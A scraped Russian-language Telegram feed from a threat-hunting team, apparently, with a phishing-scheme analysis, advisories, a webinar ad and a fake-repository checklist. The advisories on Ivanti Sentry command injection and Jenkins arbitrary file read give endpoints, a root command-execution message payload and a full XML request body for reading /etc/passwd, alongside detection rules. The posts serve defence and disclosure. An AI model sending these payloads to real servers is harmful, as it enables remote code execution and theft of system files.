Не делай добра, не получишь зла
Представьте, что вам пришло сообщение:
Внутри ссылка на конкурс и просьба распространить информацию среди друзей. Вроде обычная просьба или здесь что-то не так?
🫡 Схема
Сначала пользователя ведут на страницу «благотворительного конкурса детского рисунка». Карточки с детьми, кнопки «Проголосовать», блоки с наградами. Всё выглядит органично. Единственный нюанс: голос нужно «подтвердить через Telegram» — якобы «во избежание подтасовки и мошенничества».
Это классический прием: человека заранее приучают к мысли, что авторизация через мессенджер — нормальная и нужная часть процесса.
После нажатия кнопки открывается страница с логотипом Telegram, формой ввода номера и подписью «Система проверки голосов». Но в адресной строке видно главное — это не Telegram, а всё тот же сторонний домен. Перед нами не реальная авторизация, а фишинговая прокладка, которая выманивает данные или код подтверждения.
🫡 Инфраструктура
Несколько характерных признаков указывают, что это не одноразовый лендинг:
✅ URL у разных жертв различаются, но в путях повторяются шаблоны:
✅ Злоумышленники зарегистрировали огромное количество доменов вида
✅ Большая часть ссылок находится на поддоменах, в качестве которых используются случайные английские слова вроде
✅ Поведение ссылок нестабильно: одна и та же ссылка может вернуть фишинговую страницу, редирект на Google или
✅ Домены работают короткое время и иногда снова «оживают» — типичное поведение временной быстро пересобираемой инфраструктуры.
🫡 Итог
Схема строится на трех слоях: доверие к знакомому аккаунту → эмоциональный триггер («ребенок», «конкурс», «помоги») → техническая развилка на стороне сервера.
Жертва ошибается не в том, что переходит по ссылке — а в том, что вводит номер и код на странице, которая лишь притворяется Telegram. Это не «одна плохая ссылка» — это живая и управляемая схема.
Представьте, что вам пришло сообщение:
Привет Боря, поставь за Машу голос в конкурсе рисунков.
Внутри ссылка на конкурс и просьба распространить информацию среди друзей. Вроде обычная просьба или здесь что-то не так?
Сначала пользователя ведут на страницу «благотворительного конкурса детского рисунка». Карточки с детьми, кнопки «Проголосовать», блоки с наградами. Всё выглядит органично. Единственный нюанс: голос нужно «подтвердить через Telegram» — якобы «во избежание подтасовки и мошенничества».
Это классический прием: человека заранее приучают к мысли, что авторизация через мессенджер — нормальная и нужная часть процесса.
После нажатия кнопки открывается страница с логотипом Telegram, формой ввода номера и подписью «Система проверки голосов». Но в адресной строке видно главное — это не Telegram, а всё тот же сторонний домен. Перед нами не реальная авторизация, а фишинговая прокладка, которая выманивает данные или код подтверждения.
Несколько характерных признаков указывают, что это не одноразовый лендинг:
/ru-smile/*, /ru-color/*, /ru-future/* — признак кластера фишинговых посадочных страниц.radost-teatr.com.tr, hope-ink.lol, mirrisunkov.cyou, deti-artvision.shop (ищите полный список в комментариях).its, instead, six и т.д.HTTP/2 400 от Cloudflare в зависимости от пользовательского окружения. Это может быть фильтрация по устройству, окружению, «качеству» трафика или другим признакам. В одном из ответов бэкенд подставлял строку [No Host] — признак сломанной серверной логики или фильтрации трафика.Схема строится на трех слоях: доверие к знакомому аккаунту → эмоциональный триггер («ребенок», «конкурс», «помоги») → техническая развилка на стороне сервера.
Жертва ошибается не в том, что переходит по ссылке — а в том, что вводит номер и код на странице, которая лишь притворяется Telegram. Это не «одна плохая ссылка» — это живая и управляемая схема.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍5⚡1🤯1😱1🤪1👾1
This media is not supported in your browser
VIEW IN TELEGRAM
Приходите на наш онлайн-практикум про использование киберразведки в SOC!
Завтра в 12:00 по Москве наши эксперты по охоте за угрозами проведут практикум. Мы на реальных примерах покажем, как качественная киберразведка ускоряет детектирование сложных киберугроз на уровне SOC.
Что расскажем:
🫡 как поймали змея за хвост в организации, где он сидел незамеченным 1,5 года;
🫡 как обнаружили, что сотрудники установили хакерские инструменты в обход политик безопасности компании;
🫡 как с помощью киберразведки обнаруживать и блокировать DNS-туннели, вредоносы, которые используют DGA, и скрипты, применяющие DNS Rebinding.
Это лишь небольшая часть того, что наша команда приготовила для практикума. Если в SOC вы отвечаете за эффективность, то регистрируйтесь — будет много пользы.
Завтра в 12:00 по Москве наши эксперты по охоте за угрозами проведут практикум. Мы на реальных примерах покажем, как качественная киберразведка ускоряет детектирование сложных киберугроз на уровне SOC.
Что расскажем:
Это лишь небольшая часть того, что наша команда приготовила для практикума. Если в SOC вы отвечаете за эффективность, то регистрируйтесь — будет много пользы.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤6👍5👾1
Ivanti Sentry RCE
CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.
🫡 Метрики
🫡 Об уязвимости
Конечная точка:
Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.
Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.
Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.
Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().
executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()
🫡 Результат
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)
🫡 Пример
execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.
🫡 Как защищаться
1) Обновиться.
2) Проверит логи сервера на POST-запросы к
3) Правила WAF/IDS на блокировку POST-запросов к
CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.
Base Score: 10.0 CRITICAL
CWE: CWE-78
Конечная точка:
/mics/api/v2/sentry/mics-config/handleMessageВвод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.
StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
sb.append(tokenizer.nextToken()).append(" ");
}
value = sb.toString().trim()
…
response = this.handleMessage(module, xpath, command, value);
Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.
switch (ConfigCommand.getCommand(command)) {
…
case EXECUTE:
response = reqProcessor.handleExecute(xpath, value);
break;
…
return response;
}Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.
Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().
…
XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);
…
Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");
executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()
String implClsName = obj.getClass().getName();
String methodType = "get" + type + "method";
Method method = ReflectionUtilities.getMethod(implClsName, methodType);
XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getClassname");
XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
)
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)
execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>
execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.
1) Обновиться.
2) Проверит логи сервера на POST-запросы к
/mics/api/v2/sentry/mics-config/handleMessage.3) Правила WAF/IDS на блокировку POST-запросов к
/mics/api/v2/sentry/mics-config/handleMessage где в параметре message передается строка execute, <commandexec> , system и тд.Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥7⚡3❤1👾1
/etc/passwd за второй столик
CVE-2026-53435 — уязвимость десериализации, которая позволяет авторизованному пользователю читать произвольные файлы в Jenkins в версиях до 2.567 и LTS до 2.555.2.
🫡 Метрики:
🫡 Об уязвимости:
Для эксплуатации уязвимости злоумышленнику необходимы права Overall/Read, а также как минимум одно из следующих прав:
💡 Item/Configure — чтобы редактировать существующее задание или представлять через POST /config.xml;
💡 View/Configure — чтобы создавать новое представление через POST /createView;
💡 Agent/Configure — чтобы настраивать агентов (если атака идет через агента).
Шаг 1. Обход фильтрации
Jenkins использует XStream для десериализации XML-конфигураций и применяет фильтр ClassFilter (реализация JEP-200), который разрешает создавать только классы из ядра Jenkins или установленных плагинов. Уязвимость позволяет обойти эту защиту, используя разрешенные классы в качестве «гаджетов». Так, например, в публичном эксплойте используется класс hudson.Plugin$DummyImpl из ядра Jenkins. C внедренным в <properties> гаджетом:
Шаг 2. Чтение файла
Stapler — это Java-фреймворк, который связывает объекты Java-кода с URL-адресами. BaseResourceURL обычно относится к путям, используемым Stapler для загрузки статических ресурсов (картинок, стилей, JS-файлов) из плагинов или ядра Jenkins. Подставив в baseResourceURL конструкцию file:/, атакующий получает доступ к корню файловой системы сервера.
🫡 Пример тела запроса:
🫡 Конечные точки:
/createView — конечная точка для создания нового представления. Пример на скриншоте 1.
/config.xml — конечная точка для редактирования уже имеющегося представления. Пример на скриншоте 2.
/view/{ViewName}/properties/0/{file} — конечная точка загрузки статических ресурсов, которая позволяет читать произвольные файлы.
🫡 Как защищаться:
1) Обновиться.
2) Проверить логи сервера на наличие обращений к /view/{ViewName}/properties/0/{file}, где вместо {file} передаются подозрительные файлы (например, /etc/passwd, конфиги, системные файлы).
3) Написать правила на IDS/WAF, блокирующие POST-запросы на /config.xml или /createView, содержащие <hudson.Plugin_-DummyImpl> <baseResourceURL>file:/</baseResourceURL>.
CVE-2026-53435 — уязвимость десериализации, которая позволяет авторизованному пользователю читать произвольные файлы в Jenkins в версиях до 2.567 и LTS до 2.555.2.
Base Score: 8.8 HIGH
CWE: CWE-502
Для эксплуатации уязвимости злоумышленнику необходимы права Overall/Read, а также как минимум одно из следующих прав:
Шаг 1. Обход фильтрации
Jenkins использует XStream для десериализации XML-конфигураций и применяет фильтр ClassFilter (реализация JEP-200), который разрешает создавать только классы из ядра Jenkins или установленных плагинов. Уязвимость позволяет обойти эту защиту, используя разрешенные классы в качестве «гаджетов». Так, например, в публичном эксплойте используется класс hudson.Plugin$DummyImpl из ядра Jenkins. C внедренным в <properties> гаджетом:
<hudson.Plugin_-DummyImpl>
<wrapper class="hudson.PluginWrapper">
<baseResourceURL>file:/</baseResourceURL>
</wrapper>
</hudson.Plugin_-DummyImpl>
Шаг 2. Чтение файла
Stapler — это Java-фреймворк, который связывает объекты Java-кода с URL-адресами. BaseResourceURL обычно относится к путям, используемым Stapler для загрузки статических ресурсов (картинок, стилей, JS-файлов) из плагинов или ядра Jenkins. Подставив в baseResourceURL конструкцию file:/, атакующий получает доступ к корню файловой системы сервера.
<?xml version='1.1' encoding='UTF-8'?><hudson.model.ListView><name>all</name><properties><hudson.Plugin_-DummyImpl><wrapper class="hudson.PluginWrapper"><baseResourceURL>file:/</baseResourceURL></wrapper></hudson.Plugin_-DummyImpl></properties><jobNames class="tree-set"><comparator class="hudson.util.CaseInsensitiveComparator"/></jobNames><jobFilters/><columns/><recurse>false</recurse></hudson.model.ListView>
/createView — конечная точка для создания нового представления. Пример на скриншоте 1.
/config.xml — конечная точка для редактирования уже имеющегося представления. Пример на скриншоте 2.
/view/{ViewName}/properties/0/{file} — конечная точка загрузки статических ресурсов, которая позволяет читать произвольные файлы.
1) Обновиться.
2) Проверить логи сервера на наличие обращений к /view/{ViewName}/properties/0/{file}, где вместо {file} передаются подозрительные файлы (например, /etc/passwd, конфиги, системные файлы).
3) Написать правила на IDS/WAF, блокирующие POST-запросы на /config.xml или /createView, содержащие <hudson.Plugin_-DummyImpl> <baseResourceURL>file:/</baseResourceURL>.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥4👍3👾1
ProxyCB — ботнет-долгожитель
При расследовании автоматизированной активности в инфраструктуре заказчика удалось выйти на C2-ботнета, веб-панель, бинарный административный протокол и серверное ядро PCBServer 7.
ProxyCB существует почти 15 лет и сейчас работает как сеть зараженных прокси-узлов, ориентированная на российский сегмент. Наблюдения показывают, что его C2-инфраструктура находится в РФ, а боты много лет заражают преимущественно российские устройства.
👀 Подробности — в новой статье.
При расследовании автоматизированной активности в инфраструктуре заказчика удалось выйти на C2-ботнета, веб-панель, бинарный административный протокол и серверное ядро PCBServer 7.
ProxyCB существует почти 15 лет и сейчас работает как сеть зараженных прокси-узлов, ориентированная на российский сегмент. Наблюдения показывают, что его C2-инфраструктура находится в РФ, а боты много лет заражают преимущественно российские устройства.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍6❤3👾1
Santa Stealer: стилер, который ворует у своих
При расследовании атаки на промышленную компанию мы выявили инфостилер Santa Stealer. Вредонос работает по бестелесной модели: первичный загрузчик расшифровывает и запускает основную полезную нагрузку исключительно в оперативной памяти. Исполняемый файл не сохраняется на жесткий диск — это оставляет минимум артефактов для защитных систем.
При этом Santa Stealer угрожает не только частным пользователям. Вредонос целенаправленно ищет доступы к корпоративной инфраструктуре: он собирает конфигурации VPN-клиентов, сессии облачных платформ, базы менеджеров паролей и данные инструментов удаленного доступа.
🫡 Подробности — в нашей новой статье.
При расследовании атаки на промышленную компанию мы выявили инфостилер Santa Stealer. Вредонос работает по бестелесной модели: первичный загрузчик расшифровывает и запускает основную полезную нагрузку исключительно в оперативной памяти. Исполняемый файл не сохраняется на жесткий диск — это оставляет минимум артефактов для защитных систем.
При этом Santa Stealer угрожает не только частным пользователям. Вредонос целенаправленно ищет доступы к корпоративной инфраструктуре: он собирает конфигурации VPN-клиентов, сессии облачных платформ, базы менеджеров паролей и данные инструментов удаленного доступа.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4😱4
Предлагаем потренироваться — попробуйте раскусить фейковые репозитории и найти настоящие.
Начнем прямо сейчас: ловите скриншоты из первого задания🫡
Начнем прямо сейчас: ловите скриншоты из первого задания
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👀7🔥5👨💻3
🫡10🤷♂6❤4
Так, это было слишком легко. Давайте чуть-чуть посложнее — новые скриншоты. Отвечайте в опросе ниже.
❤5👀4👍3
🏆9🤔7❤6
🥱24🔥8😁5❤3
🎣 По README встречают, по малвари провожают: как раскусить фейковый репозиторий за 10 секунд
Злоумышленники вовсю паразитируют на теме блокировок и массовом поиске способов их обхода. Особенно достается популярному локальному tg-ws-proxy и аналогам. В некоторых поисковиках, например Яндексе, оригинальные ссылки временно удаляются и на самом верху выдачи образуется вакуум. Его моментально заполняют свежие вредоносные клоны, которые не успели попасть в бан-листы.
💡 Отдельная ловушка — сторонние зеркала GitHub. Пользователи доверяют им по инерции, но под капотом скачиваемого архива вполне может оказаться вредоносное ПО, которое в свою очередь умеет подчистую пылесосить не только сессии ваших браузеров, но и собирать важные файлы по конкретным расширениям.
Внешне подделка выглядит органично: мошенники подчистую копируют оформление README.md, сохраняют оригинальную верстку и даже реквизиты для донатов настоящему автору. Расчет идет исключительно на невнимательность и машинальные действия.
Чек-лист: 4 главных маркера фейка, которые выдадут его целиком и полностью
1️⃣ Возраст аккаунта: профиль «разработчика» обычно зарегистрирован пару недель назад.
2️⃣ История коммитов: вместо нормальной истории изменений весь код заливается за один раз через веб-интерфейс с унылой заглушкой Add files via upload.
3️⃣ Мертвая социальная активность: у клонов на счетчиках звезд и форков горят нули, а вкладка Issues (проблемы/обсуждения) часто отключена.
4️⃣ Инструкции: в README прямым текстом просят отключить антивирус или добавить папку в исключения Windows Defender, списывая на «ложное срабатывание из-за функционала». Никогда так не делайте, если не провели аудит кода лично.
Подробный разбор этой схемы и полный чек-лист безопасности читайте в нашей новой статье🫡
Злоумышленники вовсю паразитируют на теме блокировок и массовом поиске способов их обхода. Особенно достается популярному локальному tg-ws-proxy и аналогам. В некоторых поисковиках, например Яндексе, оригинальные ссылки временно удаляются и на самом верху выдачи образуется вакуум. Его моментально заполняют свежие вредоносные клоны, которые не успели попасть в бан-листы.
Внешне подделка выглядит органично: мошенники подчистую копируют оформление README.md, сохраняют оригинальную верстку и даже реквизиты для донатов настоящему автору. Расчет идет исключительно на невнимательность и машинальные действия.
Чек-лист: 4 главных маркера фейка, которые выдадут его целиком и полностью
Подробный разбор этой схемы и полный чек-лист безопасности читайте в нашей новой статье
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13❤11👍10